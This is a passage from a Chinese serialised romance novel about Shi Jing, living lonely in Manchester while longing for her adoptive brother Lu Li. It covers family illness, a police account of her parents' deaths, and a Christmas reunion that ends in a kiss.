“好多了,在医院静养,妈一直陪着。”
他背靠着椅背,高强度的工作日程终
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于让他露出疲态,说话间垂下眼睑,用手指按了下额角,缓解突然窜起来的头疼。
“哥,你也要注意身体。”
妹妹担忧的声音从手机里传出来。
他抬起眼皮,果真看见妹妹蹙着眉,一脸担心地看他。
陆礼放下手,哪怕头疼还未缓解,但他脸色已经恢复自然,“知道,你也要好好照顾自己。”说着,他就皱眉,视线犀利地打量她:“看着也不像是好好吃饭,艾丽卡说你吃得比小鸟还少。”
时憬挤出讪笑,“艾丽卡太夸张了。”
陆礼目光牢牢盯着她,“你也好好照顾自己。”
时憬也学他:“知道。”
妹妹小小的恶作剧让他眼神温柔了下来,她不再像之前那样刻意疏离他,脸上的温柔浅浅散开了。
两人谁也没有说话。
忽然安静下来。
时憬垂着眼,不敢再看他,带着点怨气地吐槽:“房子里**静了,艾丽卡又那么高冷,我英文也不好,都没什么人和我说话,而且艾丽卡做的中餐实在太难吃了!”她掩饰好自己的眼神,双手合十,央求道:“能找两个会做中餐的租户入住么?”
陆礼:“请个会做中餐的厨师来?”
时憬连连摇头:“不要,那些人都被白人饭给腌渍入味了,做出来的中餐就不是那个味了。新鲜的留学生做出来的更原汁原味。”
陆礼听着妹妹的奇怪理论,满脸无奈。
时憬双手合十,“求求你,同意了好不好?不然我还得继续瘦下去,你招来了会做中餐的留学生,我保证不再挑食,做什么吃什么。”
这也是妹妹久违地向他撒娇。
陆礼如何能拒绝这样的妹妹?
“知道了,”他目光中皆是纵容与怜惜,“我会让艾丽卡挑选合适的租户,记得好好吃饭。”
时憬张口还想再说什么,听见陆礼那边有人出声催促,她眼中攒起的笑意浮在表面,懂事道:“哥,你去忙吧,我挂了?”
“时憬。”
他低声叫她的名字。
“嗯?”
他开口,声音疲惫,却难掩温柔,“再等我一段时间,就去曼城接你回家。”
第104章 我把时憬当成妹妹
回家?
是,她还有家可以回。
但她什么时候才会被允许回家?
时憬唇边泛起笑意,“好。”
视频结束,陆礼收起手机,赶赴下一场宴会,如今陆氏集团颇有墙倒众人推的趋势,尤其在陆父倒下后,董事会里不乏出现一两个蠢货四处蹦,陆礼对此厌烦至极,但眼下情况特殊,没法立刻清理这些蠢货,只能先解决外患。
新型材料一事,陆氏集团承受太多恶意揣测。
必须要有绝对正确的权势站出来为他们背书。
为此,陆礼已经奔波半个月多,上面才愿意松口。
等他这一场宴会出来,喝的脸色都发白。
与那些人分开时,陆礼强撑着胃里钻心的疼痛,装出清醒的模样走向车子,一直到上车后,他才敢放松身体,一手压着胃,让司机找出胃药给他。
车里弥漫着难闻的酒气。
熏得人作呕。
陆礼降下车窗闭眼休息,司机下车去外面守着,让老板能安静的休息会儿。这段时间的应酬、会议穿插着来,就是铁打的人也要撑不住了。
窗外微凉的风卷走酒气。
手边的手机持续不断地嗡鸣。
吵醒男人。
陆礼睁眼,看是秦天川来电,语气疲惫地接听,“什么事。”
秦天川认识陆礼这么多年,还是第一次听他这种语气,半是新奇半是感慨道,“这陆总当得也不容易啊。”
陆礼:“有事说话。”
秦天川故意嘿笑两声,“这不是快年底了,攒个局——”
“嘟嘟嘟——”
陆礼挂断没两秒,电话又打了电话。
接通后,秦天川用可怜巴巴的语气痛诉:“人家这不是看陆总辛苦,想让放松——”
“嘟嘟嘟——”
陆礼把手机一边去,降下车窗打算叫司机开车,回公司开会,手机又连着震了两声。
他瞥了眼,是秦天川发来的信息。
【小弟知错了,这回一定好好说话】
【我是真有事情和你说,关于时憬妹妹的】
秦天川发完信息,还没过半分钟,陆礼回拨过来。
“说话。”
这回他不敢再耍宝,老老实实说道:“时憬妹妹是你们安排送出去的是么?她现在服用的药物还有副作用,一直这么视频诊断我也不敢换药,最好回来面诊后再换药,还要观察一段时间。你们打算什么安排时憬妹妹回来啊?”
另一端沉默。
秦天川:“喂?陆总?大哥?兄弟——”
陆礼眸色暗沉,“都有哪些副作用?是从什么时候开始的?”为什么他都不知道?妹妹最喜欢向他撒娇,有一点不舒服都要说给他听的。
“你不知道啊?”秦天川惊讶了声,后想起些什么,改了口,“嗜睡、盗汗、胃口减退这些副作用,换药初期会出现,一般一到两周就会消失了,本来打算先观察一个月,后来不是这出事那出事的,看着吃药控制得不错,就一直没换,现在稳定了,最好是能回来再看看。”
回应他的,是长时间的沉默。
在秦天川再次开口前,他出声,“我尽快。”
还不等秦天川反应过来‘尽快’是尽什么快,电话又被挂了。
陆礼以手掩面,想起在宣城住的那几日。
她嗜睡,总要睡到很晚才肯起来;吃的少,她说是惦记着生母的案子所以没有胃口;她每日早起都要换下睡衣,他送去清洗时摸到衣服潮湿,她说是洗漱不小心弄湿的;早上起来,她总要喝水,这是从前她没有的习惯,妹妹又是怎么回答的?说是一直在空调房里,干燥所以要多喝水。
妹妹就用这些话,轻而易举地骗过了他。
她那样娇气的性子,连晚上做噩梦都要哭着来找他,在承受这些副作用时,是不是也会难受地落泪?
而他,却什么都不知道。
他被陆氏集团绊住、被父母绊住,即使知道了,也无法立刻飞去曼城带她回家。
第二天晚上,陆礼去医院看望
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父母。
陆父已经熟睡。
陆母坐在旁边守着,不看手机也不看电视,就这么看着安睡的父亲。哪怕有护士、护工照顾,陆母也仍亲自照顾丈夫,原本乌黑的头发里多出刺目的银白色,脸上疲态让她看上去老了好些。
在看见陆礼出现时,陆母才露出些许笑意。
“快坐下,不是前天才来过,今天这么晚了怎么还来?是有什么事?”
陆礼顺从坐下,没有直接回答母亲这个问题。
他问了下父亲这两日的情况,又关心母亲的身体。
陆母一一仔细回答。
陆礼才提及时憬的事情,想抽空去曼城接妹妹回来。
陆母张口回绝,“我现在照顾一直在医院里照顾你爸,你工作也忙,她回来了谁照顾?而且风头还没完全过去,还不如在曼城待着,那边还有艾丽卡和她作伴。”
陆礼:“时憬回家后就在陆园住着,有柳姨她们照顾,我也能时常回家——”
“不行!”陆母语气陡然强硬,视线盯着丈夫的手,“我不同意她回来。”
陆礼皱眉:“为什么?您就不担心她么?”
陆母满心情绪复杂,她侧目,看着眼前与她争执的儿子,冷下目光,“就是因为我担心她,我把她当成女儿看,所以才不让她回来,我这样说,你能听懂吗。”
陆礼眼神微变。
薄唇抿成锋利的线。
“我……”他出声,“把时憬当成妹妹。”
陆母收回视线,握着陆父的手,动作温柔地将他的手放到被子下,低声说道:“那你就更不应该把她接回来。”
陆礼站起身,“时间不早了,我先回去,过两天再来。”
陆母背对着他,淡淡嗯了声,“我就不送你了。”
病房移门被轻轻撞上,脚步声从门口远离。
陆母像是庆幸般地对着熟睡的丈夫呢喃,“幸好…幸好啊……我察觉得够早,两个人才没有一路错下去……我们还能有儿子和女儿……”
第105章 遗忘与加重
从医院出来后,坐在后排的陆礼给艾丽卡打了个电话,同意她昨天提出想要重新接受租户的申请。
之后车里一片压抑的气氛。
连司机都察觉到老板今日心情极为不佳。
陆礼手中的手机停留在与时憬的聊天界面,犹豫了很久,不知能发什么过去。
母亲是从什么时候察觉到的?
明明他赶去宣城找妹妹时,她并且反对,甚至还叮嘱他仔细照顾妹妹。
是母亲不准他送妹妹去曼城起?
那之前他对妹妹做了什么?
陆礼想起那一幕,是他抱着妹妹,试图用亲吻安抚她的情绪,被站在门外的母亲看见了?
而妹妹也看见了母亲?
所以她不敢缠着让他一起去,也不敢开口要求回家,甚至在他说要去曼城时,她脸上也不见欣喜。
是因为她害怕让母亲知道?
陆礼拳头紧握。
他自恃对妹妹照顾得无微不至,结果却什么都不知道!
只让妹妹一个人承受。
混乱自责的情绪过后,陆礼冷静下来,现在母亲应该只是有所怀疑,并不知道他们之间已经发生过关系,否则母亲不会这么冷静对待他们。
现在也的确不应该让妹妹回来,她敏感又脆弱,母亲的猜忌只会给她带来更大的心理压力,还是先继续留在曼城,等到国内的事情结束、父亲的病情康复后,再考虑把她接回家。
至于看病,如果年底他不能带时憬回来,就把秦天川送到曼城去。
这似乎是最佳方案。
他刻意忽略隐隐的不适,督促自己冷静地规划一切。
*
不规律的饮食和难以下咽的白人饭让时憬的胃疼严重了些。
这天中午,她下午觅食。
艾丽卡正好吃完午餐,在厨房里忙活,听见时憬的脚步声,有些意外地看她,“你怎么下来了?我准备把午餐送上去。今天是日式炸鸡和凯撒沙拉。”
时憬光听到名字,胃部的饥饿感都消失了。
她抱歉地说了声不太想吃。
艾丽卡也没有伤心,她从前就知道,时小姐吃饭极为挑食,陆先生为了她能多吃两口饭,操了不知道多少心。
训又训不得,骂更是骂不得。
语气说狠了,小姑娘就红着眼,乖乖坐在原地掉眼泪珠子,最后还得哄。
所以,艾丽卡照顾时憬,最担心的就是饮食,所以她特地练习怎么做中餐,但……
时憬客客气气说,还是想吃西餐。
艾丽卡便不敢再做了。
刚想问她中午要吃什么时,发现时憬脸色透着不正常的苍白,连带着唇色都是惨白的,她连忙问是不是身体不舒服。
时憬在开放吧台的高脚椅上坐下,混不在意地回道,“没事,是生理期到了。”
听她语气坦然,艾丽卡也松了口气,不是生病了就好,“你需要来一颗止疼药么?”
时憬愣了下,“止疼药?”
艾丽卡点头,伸手解开围兜,都打算去拿止疼药,时憬这才反应过来,国外都习惯磕一颗止疼药。
时憬摆手,谢绝她的好意,“帮忙煮一碗泡面就好。”
这还是前两天去亚超买回来的。
艾丽卡没有陆礼那么啰嗦,注重
营养平衡,她认为时憬只要能吃得下去,不论是什么食物,都会化作她身体的养分。
艾丽卡应道,“放火腿切片、泡菜、一个鸡蛋?”
时憬闭拢嘴唇,笑着点头。
艾丽卡也笑了,“这些年你的口味还是没有变啊。”
这一句话像是把锋利的钩子,瞬间把时憬粗暴地撤回从前。
……
陆礼挽起袖子,站在艾丽卡的位置,皱着眉看她:“你确定晚上要吃这么…不健康的食物?”
时憬饿得趴在台子上,有气无力地点头。
他全程皱着眉煮面、放小料。
房间里腾满泡面霸道的香味。
等端上来后,时憬也顾不上烫,狼吞虎咽地吃了第一口,果真被烫得吐舌头扇风。
陆礼放下一杯鲜榨橙汁。
“慢点吃。”
时憬:“哥,你要来一口吗?真的好好吃!尤其是在深更半夜吃的时候,简直是美味加倍!”
陆礼实在无法理解,妹妹为什么放着晚餐不吃,吃这些垃圾食品胃口能这么好?
算了,妹妹也是难得放纵一次。
他忍下说教,抬手示意不用管他。
他穿着丝质浴袍睡衣,站在一边等着,手里端着一杯温水,看她吃完后甚至连汤都喝了大半,眉头
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皱得都能夹死一只苍蝇,“别喝了,放下我来收拾,不准吃饱了立刻去睡,至少要一个小时。”他顿了顿,补了句:“记得刷牙。”
……
“好了。”
艾丽卡放下面碗。
小料几乎盖满整碗,与陆礼扣扣搜搜的两三块小料截然不同。
时憬垂眸,从回忆里回过神,说了声谢谢,拿起筷子挑面吃。
艾丽卡坐在旁边陪她,手里端着一杯红茶。
大多数时候,艾丽卡都是沉默寡言的。
在时憬快吃完的时候,她才说道,“申请接受学生租户的事情,陆先生同意了。”
时憬挤出微笑:“那真是太好了。”
刚出锅的泡面带着热气,烫红了她苍白的唇。
看上去的确像是气色好了几分。
“谢谢你,时憬小姐。”艾丽卡由衷感谢,“我先前也曾申请过,但被陆先生驳回了,如果没有您的帮助,陆先生不可能会同意的。”
时憬不敢直视艾丽卡感谢的眼神。
她害怕让任何一人看出来她私藏的目的。
“不用谢。”
曼城的天气越来越冷,妖风阵阵刺骨。
艾丽卡很快就筛选了附合条件入住的贫困的学生,为了尽可能保证别墅里的安静,艾丽卡只接受了三个学生。
两女一男。
其中一男一女是俄国和美国,剩下一个女生是中国人。
三个人都是认真学习、拼命打工,还能做一手地道菜的好孩子,艾丽卡会付给他们一笔料理费用,要求他们每周每人至少下厨房两次,时憬时常能尝到家乡的风味与有些难以接受的异国菜。
童宛知道后,笑着说她的流放生活逐渐滋润起来,又问什么时候定回国的机票,赶紧离开野蛮之地回到温暖的怀抱中来。
时憬搪塞过去。
她等着陆礼说的,忙完就会来接她回家。
可在那之后仅有的几次联系后,他没有再提过这件事。
进入十一月后,时憬仍没有等到人来,她真的像是被遗忘在了这座阴冷的城市里。
可能是日照的时间越来越短,雨水的天气越来越多,因晒不到太阳,头疼、背痛的越来越频繁,躯体化症状也愈发明显,她开始抗拒出门,也开始抗拒社交。
第106章 妈妈还是不准她回家
是艾丽卡最先发现时憬的异样。
时憬说可能是因为曼城经常阴沉沉的,缺少日照,所以才会有些无精打采,这个借口没有让艾丽卡起疑。
听说沙市是个阳光灿烂的城市,来这座城市小住,难免会有些不适应。
艾丽卡给她买了维生素D服用。
她在这座城市里孤零零地等啊等,等到十一月底,依旧没有人来接她回家。
她不怨任何人把她留在曼城。
爸爸还在大病初愈,妈妈需要照顾他,陆礼工作忙碌。
而这些麻烦都是因为她一个人而起。
她在曼城过着富裕的生活,甚至还有艾丽卡照顾自己,已经是他们对自己最大的温柔。
但她还是想要回去一次。
童宛的婚礼在12月28日举行,她答应了童宛要给她当伴娘,看着她迈入婚姻的殿堂。
到十一月底时,时憬联系陆母,说想回沙市。
陆母看着屏幕里女儿憔悴的脸颊,早没了平日爱撒娇、活泼爱笑的灿烂,在曼城住了这么久,看着像是长大了很多。她不忍,但仍旧没有松口:“我陪着你爸到乡下静养了,你哥常住市区,家里都没有人,等开春天气暖和些了,我和爸爸过来看你,好么?”
妈妈还是不准她回去。
时憬刻意忽略针扎般密集的失落感,“妈妈,这次回家我不去陆园住。”
陆母皱眉:“回来不住家里住哪儿?”
时憬慢慢解释:“十二月底童宛结婚,我答应了要给她做伴娘,我提前一天回来,等她婚礼结束后我就回曼城,正好滞留期也快到了,回去刷新下时间。”她佯装着撒娇,“妈妈,好不好嘛?”
陆母如何注意不到女儿小心翼翼地试探。
这些年他们的确把她当成亲生女儿疼,哪里舍得自家孩子在外住那么久。
叹息一气后,陆母看着女儿似乎又清瘦的面颊,想起儿子前段时间说的那一句话,或许两个孩子还未走上错路,她也不能一直让他们不见面,怕断送了兄妹情分。
“好,”陆母的目光温柔了些,“回来吧,在家里过了元旦再说。”
时憬扬起灿烂的笑脸,“谢谢妈妈!还是妈妈最疼我~”
“就是最会嘴甜撒娇了。”陆母总算露出一丝笑意。
在结束通话后,陆母唇边的笑容仍挂着,看着心情颇为不错。
陆父半靠在床上坐着,正在做手部康复训练,对妻子道:“你也不用24小时在家里守着我,想孩子就去看看,不想去就把小憬叫回来。”经历生死一劫后,陆父看透了许多,什么事都比不上家人在身边日日能看见来的重要。
他和女儿说了几句话愈发思念嘴甜乖巧的孩子。
看着孩子还瘦了,哪会不心疼?
陆母嘴上应着,“知道了,这不是让她回来了么。”
陆父嗯了声,移开视线,装作极为自然的开口:“哦对了,过两天我打算回公司去看看。”
陆母看都不看他,张口就拒绝:“不准。”
陆父板起脸,严肃地同妻子解释:“现在就儿子一个人坐镇公司,原本我在还能分担点事情,现在大事小事都要他操心,董事会里还有几个跳梁小丑,高层也不都是向着儿子这一个总裁的。再这么下去,你是真想累死儿子?”
谁知,他话刚说完,妻子就红了眼睛。
只听她道:“你大病了这一场,医生都说当时情况极其危险,病危通知书我都签了好几张,才把你从鬼门关抢了回来。医生让你修养,你倒好,一点不把自己的身体当回事!是不是还吓我一次!”
妻子鲜少对他这么情绪激动过。
说完后,妻子就侧过脸去,用手背擦眼泪。
陆父心里的算盘瞬间化为灰烬。
他凑过去,拉起妻子的手,低下头柔声道歉:“好好好,都是我的错,回公司这件事我不提了。今年咱们就在这儿好好休养,万事都等到明年再说,不哭了?”
他一边劝,一边抽了指尖替她擦眼泪。
因还在康复阶段,他手指的动作还不灵活,手指险些戳到妻子的眼睛。
陆母连忙抽了纸巾避开点。
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陆父:…………
看来这些日子他的确的好好复健了。
不然迟早要挨妻子嫌弃的眼神。
*
时憬定了12月26日回国的机票。
她知道妈妈虽然允许她回国,但仍不希望她和陆礼频繁见面,便没有把订机票回国这事告诉他。
在家里陪着爸爸妈妈过了新年后,她再回曼城。
甚至连艾丽卡都没有告诉。
随着进入十二月,街上圣诞的氛围开始浓郁。
即便时憬极少出门,但偶尔跟着艾丽卡去采购食物、生活用品时,能看到丰富、热闹的圣诞装饰,甚至连路边的邮筒都有了自己的专属圣诞帽。
路边的商店更是贴着绚烂夺目的圣诞窗花、灯光点缀。
红绿棕黄,这些或明亮或温暖的色调驱赶了这座城市里冬日的萧索气息。
商店里进出采购礼物的客人也多了。
艾丽卡交了一个男朋友,平安夜那天正好是他们交往一百日纪念日,艾丽卡早早为挑选什么圣诞礼物而发愁。
自从时憬在曼城居住后,陆礼每个月给她的零花钱愈发可观,甚至把之前收回的**又给了她。
可惜她没有太大的购物欲。
正好艾丽卡打算今年的布置需要隆重点,时憬就全程跟着,只负责刷卡买单。
顺道时憬也给三个年轻租客买了圣诞礼物,祖玛珑香水和一双小羊皮手套,给艾丽卡的则是一块智能手表——她看见艾丽卡收藏又取消了好几次。
她也买来包装纸,将这些礼物包起来,藏在房间里。
打算在平安夜晚上放到楼下客厅的圣诞树下。
三个年轻租客在平安夜、圣诞节都在外打工,这两天许多地方都会人手紧缺,店家会提供丰厚的薪酬。
而艾丽卡则是要回去和家人一起度过,她也邀请了时憬,时憬拒绝了,但他们四人都会在圣诞节的晚上回来。
时憬看出他们的温暖。
也想回馈他们。
可现在的她情绪木讷,只能用最俗的物质礼物表达感谢。
第107章 凶手…是谁?
平安夜悄然降临。
这一天时憬昏昏沉沉睡到将近中午才醒来,洗漱后去楼下热了艾丽卡为她准备的苹果派,又热了牛奶,就着电视机重复播放的圣诞系列电影进食。
城市热闹着。
喇叭鸣笛声也比以往频繁。
时憬看了一下午电影,手机也在不停的弹消息。
有童宛发来的信息,也有艾丽卡和三个年轻租户发来的照片,也有陆父陆母发来的红包及祝贺。
其中——
独不见陆礼的。
她刷了朋友圈,看见楼心月发的巴黎圣诞街景,照片一角露出一个男人背影,打的TAG是与心爱的人共度浪漫。
时憬盯着那个背影看了许久。
心脏绵密的刺痛。
连她在国外都知道,陆氏集团与楼家的合作已经结束,但陆礼依旧与楼心月在交往,或许他这一次是认真的,想要与楼心月继续走下去。
她应当祝福兄长寻到真爱。
她应当高兴的。
可她如此难受,像是心脏被剐走一大块,空洞的鲜血淋漓。
那是因为她仍深爱着陆礼,像生命般深爱着他。
她要将它藏起来,牢牢的藏起来,不能再让任何人窥探察觉。
天色暗下,客厅圣诞树上的灯带一闪一闪的。
电视机里也开始唱圣诞歌曲,电影将迎来美好的大结局。
时憬捧着发凉的马克杯,蜷缩在沙发上,安静的看着屏幕上跳出的演出人员表,放在一边的手机又震动了下。
她拿起看。
是微信有一个新的好友申请,备注是宣城刑警大队蒋警官。
时憬愣了下,点通过。
她下意识看了眼时间,现在是英国的下午五点,而国内已经是凌晨一点了。
【蒋:方便通话?】
【时憬:方便】
信息发完,屏幕跳出通话请求,她点了接听,有些陌生的中年男声从手机传来。
“时憬?”
她应了声,立刻端正坐好,“我是,蒋警官,这么晚了您还没有休息么?”
“没了,你那儿时间还早吧?”
时憬配合的报了时间。
蒋警官:“嚯,差八个小时呢!”
时憬原本的紧张也因这声嚯而放松了下来,解释道:“十月份之后英国就进入了冬令时,两边的时差从七小时变成了八小时。”她顿了下,又问:“请问您找我是因为我母亲的案子么?”
蒋警官嗯了声,也不瞒着,磊落直白道:“你父亲时明被害一案今天正式查明了,白天队里忙着办各种手续,忙到现在才结束,想着你是两边的家属,有权知道真相是什么。”
时憬的心瞬间提到嗓子眼。
她绷直后背,抓着手机的手指捏紧,“凶手…是谁?”
蒋警官听出来小姑娘语气里的紧张,也就不继续卖关子,直接说了出来:“和你妈妈在交往地那个司机你还有印象吗?”
时憬点头。
蒋警官:“凶手就是他。”
接着,蒋警官把十年前那天晚上到底发生了什么都一清二楚的告诉时憬。
时明欠下高额赌债一走了之,之后再无音讯,追债的人就盯上了宋桉母女,宋桉为了让讨债的不再来骚扰她们,咬牙承诺会替时明还这笔钱。
经营民宿的十多年里,宋桉一直在还债,终于在十二年里把钱都还完。
时明起先过了几年东躲西藏的日子,更不敢刷卡消费,怕被债主追上门来,可后面几年慢慢没人找他麻烦了,他一打听才知道是宋桉帮他把欠债都还了。
内心立刻起了贪念,回杭县打算去要钱,谁知宋桉咬**就说没钱,说钱都用来换欠债了。
时明怎么可能信?
他看着这间布置讲究的民宿。,认定是宋桉藏了钱不肯给她,两人争执间动了手,揪着她脑袋破口大骂,这幅疯癫的模样吓得时憬大叫。
可嘴巴被捂住,只剩下呜咽声,偏偏今天民宿里也没有旅客入住,就在宋桉快撑不住,要把那笔攒给时憬的钱透露出来,以换取活下来的资格。
“我说……”
司机今晚正巧送完附近的一单生意,绕过来看女友,就撞见时明掐着宋桉脖子的一幕,口中还骂骂咧
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咧,他怒火中烧,提着手机的水杯就冲了上去,照着时明的后脑勺拍上去!
时明的身体摇晃了下,重重倒地。
宋桉吓坏了,让司机赶快救护车。
司机也吓坏了,蹲下身一摸鼻息,已经断气了!
登时吓得脸色惨白跌坐在地上。
宋桉也被吓的浑身发抖,她抱着司机说一起去自首。
司机逐渐冷静下来,他死死盯着地上的尸首,脑中冒出一个疯狂的念头:“先前你说你前夫失踪多年,都没人打听到他下落是吗?”
宋桉答是。
说完后,她紧紧抓着男友的手,“你想做什么?!”
司机:“既然这样,那就彻底当他消失了!”
宋桉吓得眼瞳睁大,“不行不行,这件事怎么可能瞒得过去?”
“瞒不过就等着坐牢!”司机反手抓住宋桉的手,一字一句说道:“我是一个人什么都不怕,但你呢?宋桉,你女儿怎么办?你进去坐牢了她怎么办?你是想让她有个**犯的妈妈妈,一辈子受到朋友的指指点点吗?”
宋桉犹豫了。
司机:“晚上他是天黑了才来的,肯定没多少人留意到他回来找你,我知道宣城有一块十几年的荒地,我们开车把人拉到那边去埋了,这件事就只有你我两个人知道,时憬也不会有没了妈妈,你说是吗?”
宋桉看着躺在地上已经死去的前夫。
想起他给自己带来的只有负债和痛苦,想起尚且年幼的女儿,她心里的正义逐渐坍塌,点头答应了司机的提议。
他们特地挑了监控最少的道路。
开到后立刻挖坑埋尸。
宋桉站着远远的放哨,生怕有人靠近,而在回去的路上,两人发生了不小心的争执,宋桉想要把民宿关了,带着女儿离开杭县,但司机却认为麻烦已经**,民宿盈利还不错,为什么要抛弃?
两人越吵越凶时,没有注意到昏暗的路口开过来的车子——
蒋警官顿了下,继续往下说:“车祸发生后,司机短暂昏迷,在他醒来发现你母亲断了气,弃车逃了。”
第108章 满足
时憬怔然,“交通故事判定时没有发现有人逃走吗?”
蒋警官道:“那条路地处偏僻,十年前的监控设备不清晰,再加上那天下了小雨录像更加模糊,当时调看监控也只是为了定责。司机交代恢复意识后,已经过去了大半小时。”
言下之意当时监控只看了事发前后几分钟。
时憬盯着装饰温馨的圣诞树,沉默片刻后问,“他昏迷醒来时,我母亲真的已经过世了吗?”
蒋警官:“……是。”
“我还有一个问题。”
“你说。”
“那天晚上,为什么会是我母亲开的车?”
这个问题蒋警官也问过司机,对方回答说,那晚送完货后,他和几个兄弟一起喝了不少白酒,打算去找宋桉温存一番,谁知道就看到了自己女人被时明掐着脖子,而且这个男人还就是宋桉的前夫,而他也知道,这几年宋桉一直在给前夫还债,误以为两人私底下还偷偷来往,一怒之下冲了过去,在意识到自己杀了人后,他想到的不是认罪伏法,而是怎么逃过去。
他利用宋桉对女儿的疼爱,劝说她配合自己去埋尸。
在上车时,他意识到自己喝了酒,不敢开车,让宋桉自己开车。
而**的是,宋桉在他把时明搬上车时,一个女人害怕到了极致,也喝了几口辣口的白酒。
回来路上,宋桉说自己打算关了民宿,如果他愿意,她就带着女儿去跟他生活,如果不愿意,她打算离开杭县。
但司机会看上宋桉离婚还带着一个十多岁女儿,费心费力追了她两年多,又答应宋桉在女儿成年前不透露两人关系,不只是因为宋桉风韵犹存,还因为她经营着一家生意还不错的民宿。
跑车伤身体,他想的是再过几年干不动了,时憬也成年后,他跟着宋桉当一回老板享享福。
谁知道宋桉居然和他说要关了民宿!
他福还没想到,甚至还因为宋桉背上一条人命,当时两人就起了争执,导致车祸发生。
在蒋警官再次解释过后,时憬沉默片刻后,向他道谢。
蒋警官又告知她**开庭的时间,她身为死者家属,理应出席,时憬问了日期,再次道谢后挂了电话。
家中无人。
她在通话时的平静在这一刻荡然无存。
时憬捧着手机,无声落泪。
她等来了妈妈的清白,也知道了妈妈的死因。
她是该恨那个贪婪冲动的司机么?
如果不是他失手打**父亲,妈妈就不会深夜开车去宣城,也不会在路上出车祸,她也不会失去妈妈。
可恨他又有何用?
如果他当时没有下死手,父亲贪图母亲的钱财,之后仍会有无尽的麻烦。
她只是心疼母亲。
心疼母亲遇上父亲那样的**,又遇上司机那样自私贪婪的男人!
心疼母亲为什么要生下她?
她好像听到有什么东西崩裂了,发出细微的轻响。
如果并没有她的话,一切都会不一样。
如果没有她的话……
“咔嚓。”
身后传来客厅门被打开的声音。
她转头去看。
熟悉的身影闯入她的视线,他的肩头落了些雪花,隔着一个客厅的距离,他的目光却比春日的阳光还要暖。
“时憬,圣诞快乐。”
从心底发出的轻响声愈发清晰。
她的心碎成满地锋利的残渣,她抬起脚,赤着脚踩上去、走过去,她闻得到浓烈的血腥味,却没有停下脚步,一路走、一路滴着血的朝着她的圣诞老人靠近。
“圣诞快乐。”
隔着一个客厅的距离,时憬也回他一句。
唇角弯起,眼中盛着动人的笑容。
陆礼走到圣诞树下,温热的食指微微曲起,擦干她脸上的泪痕,柔声问:“我在来的时候看见附近有圣诞集市,要不要一起去看看?”
她不再疏离兄长。
扑入浑身寒气未散的身躯,无声点头。
陆礼心脏酸软,这段时间来的疲惫、愤怒、失落、心痛,在这一刻都被温暖的拥抱驱逐,心底生出满足,还有沉甸甸的责任二字。
他垂眸,看着向自己撒娇的妹妹。
动作温柔地
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理着她披散在后背的头发,“我身上冷,还有化开的雪,不冷吗?”
“冷。”
“那先让我脱了外套?”
她抱得更紧,“不要。”
理着头发的手停下,一下下顺着她的后背,哪怕隔着毛衣,他也能摸出来这几个月妹妹又瘦了多少,他胸腔酸涩,对此时此刻的妹妹只有无尽的怜爱,“其他人呢?”
时憬一一回答。
他又摸了下妹妹手背,已经不似刚才温暖,“再不松开就要没有圣诞礼物了?”他的口吻像是再哄七八岁的小孩子。
时憬想笑,但只会从眼眶里涌出眼泪。
“不要了。”
她这一生已经收了太多太多贵重的圣诞礼物。
他笑着道:“好。”
等眼泪停下,她才抬起头,诧异地问道:“不是,还真的不给我了?”
兄长被她的出尔反尔逗笑,从拿出礼物给她。
是一条钻石手链。
依旧价值不菲。
时憬伸手,让兄长帮她戴上,说了声稍等后,跑去楼上去拿外套,两人出门去附近的圣诞集市。
时憬在这儿住了几个月,记得艾丽卡说的近道。
两人穿过僻静巷子,绕了两个弯后,灯光璀璨浪漫的集市猝不及防就出现在他们面前,连周身的寒冷都一同被驱逐。
集市颇具规模,无数临时搭建的三角顶小木屋摊一个个挨着摆。
每个屋檐下都挂满了暖黄色灯串。
到处可见硕大的红色蝴蝶结、铃铛装饰。
集市最中心还有两米高的圣诞树,缠绕的彩灯一闪闪,树顶一颗黄色星星在旋转,空气里弥漫着甜腻的气味,伴随着圣诞节欢快的音乐。
所有人脸上都是幸福的笑脸。
时憬买了一块圣诞树形状的巧克力,树干是条状饼干,装饰圣诞树的则是五颜六色的MM豆。
她咬了一口,吃掉圣诞树上的星星。
陆礼拿出纸巾,想替妹妹擦去嘴角粘上的巧克力。
下一秒,时憬痛苦的五官都皱了起来。
他立刻伸手放到她唇边,“吐出来。”
第109章 陆礼,我想要
时憬梗着脖子咽下去,才冒出两个字:“好酸。”酸得腮帮子发软,眼泪都流下来了。
陆礼猜到可能是买到恶作剧巧克力了。
他从妹妹手里主动接过剩下的圣诞树,“下面的别吃了,太酸对胃不——”
后面的话被塞进嘴里的巧克力堵住。
他垂眸看眼前飞快收回手的妹妹。
合拢唇,嚼着口中的巧克力。
时憬就这么看着陆礼面不改色地吃下去,“不酸么?”
他:“酸的。”
时憬:“那你怎么没有变脸?”
他牵着妹妹的手,岔开话题:“我们去其他地方逛逛。”
时憬一脸好奇地看身边的兄长,知道兄长古板、严肃,但她也还是第一次知道兄长对自己的表情管理这么严格。
那么酸都能面无表情地咽下去。
为了冲淡口中残留的酸,他们买了先煮的热红酒。
味道不算太好。
两人隐晦地相视一笑,最后两杯热红酒都进了陆礼的肚子。
遇见了好吃的松饼,热气腾腾的刚出锅,淋上枫糖浆和肉桂,一口下去分外满足。
买的肉酱薯条咸的时憬找水喝。
意外买到了好喝的苹果汁,她捧着杯子站在路边,慢吞吞喝了两杯,甜得整个人都快被融化。
也买到了苹果雪松气味混合的香薰蜡烛。
又路过一个饰品摊位,所售的饰品都带着圣诞要素。
她看着陆礼拿起一个绿色形似圣诞树的针织帽子,顶端还有一颗黄色星星。
她抬手拒绝:“太幼稚。”
就在她转身时,陆礼已经付钱买下,长腿两步追上,撑开帽子替她戴上,歪了下头,仔细看了眼妹妹,笑着揉她的头:“还是个小孩子,带着正好。”
时憬:…………
她正要抓下帽子时,周围的游客发出一声声惊呼声。
“下雪了!”
时憬抬头去看,纷纷扬扬的鹅毛大雪飘落,点缀着圣诞集市,变成了童话里的模样。
整点,唱诗班的孩子们在不远处的巨大圣诞树下吟唱。
纯洁的歌声能传得很远很远。
或许是这一刻太过浪漫,周围有情侣互相说了句‘圣诞快乐’后亲吻。
越来越多的游客往圣诞树那边去。
陆礼下意识把时憬圈在胸前,带着她避开人潮,护着她不被游客撞到,暂时站在一间木屋摊贩旁边。
大雪越下越大。
降下的仿佛不是寒冷,时憬的胸口微微发热。
她被压在胸口,鼻尖都是陆礼身上的气味,又因为他今天吃了太多甜品,冷香里多了甜丝丝的气息,有些像是她今天刚买的香薰。
雪松混着苹果香。
“雪开始下大了,回去吧?”
他低头,询问怀中的妹妹。
而他不知时憬也在这一刻抬起头。
不用踮起脚,轻而易举就吻上兄长的双唇,轻贴的动作后,她张开了唇,吻住柔软又带了点凉意的下唇。
